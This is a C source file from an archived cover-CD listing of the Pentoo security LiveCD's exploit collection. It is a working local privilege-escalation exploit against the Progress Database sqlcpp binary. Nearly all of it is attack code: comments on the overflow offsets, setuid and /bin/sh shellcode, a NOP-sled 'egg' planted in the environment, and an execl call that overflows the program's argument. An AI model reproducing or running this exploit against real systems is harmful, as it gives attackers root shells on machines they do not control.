home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / progress / sqlcppx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  92 lines

  1. /*
  2.  * Yet another Progress Database exploit (version ??)
  3.  *
  4.  * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
  5.  * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
  6.  *
  7.  * This exploit was developed on the Snosoft vulnerability research machines
  8.  * mail dotslash@snosoft.com if you are interested in contributing research time
  9.  *
  10.  * - The Itch
  11.  * - itchie@promisc.org
  12.  *
  13.  * - Technical details concerning the exploit -
  14.  *
  15.  * 1). Buffer overflow occurs after writing more then 56 bytes into the buffer at the command line
  16.  *     (56 to overwrite ebp, 60 to overwrite eip).
  17.  * 2). If you write more then 65 bytes, other frames will be overwritten afterwards and will mess up
  18.  *     your flow of arbitrary code execution.
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23.  
  24. #define DEFAULT_EGG_SIZE 2048
  25. #define NOP 0x90
  26.  
  27. #define DEFAULT_BUFFER_SIZE 60
  28.  
  29. char shellcode[] =
  30.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  31.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  32.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  33.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  34.  
  35. int main(int argc, char *argv[])
  36. {
  37.         char *buff;
  38.         char *egg;
  39.         char *ptr;
  40.         long *addr_ptr;
  41.         long addr;
  42.         int bsize = DEFAULT_BUFFER_SIZE;
  43.         int eggsize = DEFAULT_EGG_SIZE;
  44.         int i;
  45.         int get_sp = (int)&get_sp;
  46.  
  47.         if(argc > 1) { bsize = atoi(argv[1]); }
  48.  
  49.         if(!(buff = malloc(bsize)))
  50.         {
  51.                 printf("unable to allocate memory for %d bytes\n", bsize);
  52.                 exit(1);
  53.         }
  54.  
  55.         if(!(egg = malloc(eggsize)))
  56.         {
  57.                 printf("unable to allocate memory for %d bytes\n", eggsize);
  58.                 exit(1);
  59.         }
  60.  
  61.         printf("/usr/dlc/bin/sqlcpp\n");
  62.         printf("Vulnerability found by KF / http://www.snosoft.com\n");
  63.         printf("Coded by The Itch / http://www.promisc.org\n\n");
  64.         printf("Using return address: 0x%x\n", get_sp);
  65.         printf("Using buffersize    : %d\n", bsize);
  66.  
  67.         ptr = buff;
  68.         addr_ptr = (long *) ptr;
  69.         for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
  70.  
  71.         ptr = egg;
  72.         for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
  73.         {
  74.                 *(ptr++) = NOP;
  75.         }
  76.  
  77.         for(i = 0; i < strlen(shellcode); i++)
  78.         {
  79.                 *(ptr++) = shellcode[i];
  80.         }
  81.  
  82.         egg[eggsize - 1] = '\0';
  83.         memcpy(egg, "EGG=", 4);
  84.         putenv(egg);
  85.  
  86.         execl("/usr/dlc/sqlcpp", "sqlcpp", buff, 0);
  87.  
  88.         return 0;
  89. }
  90.  
  91.  
  92.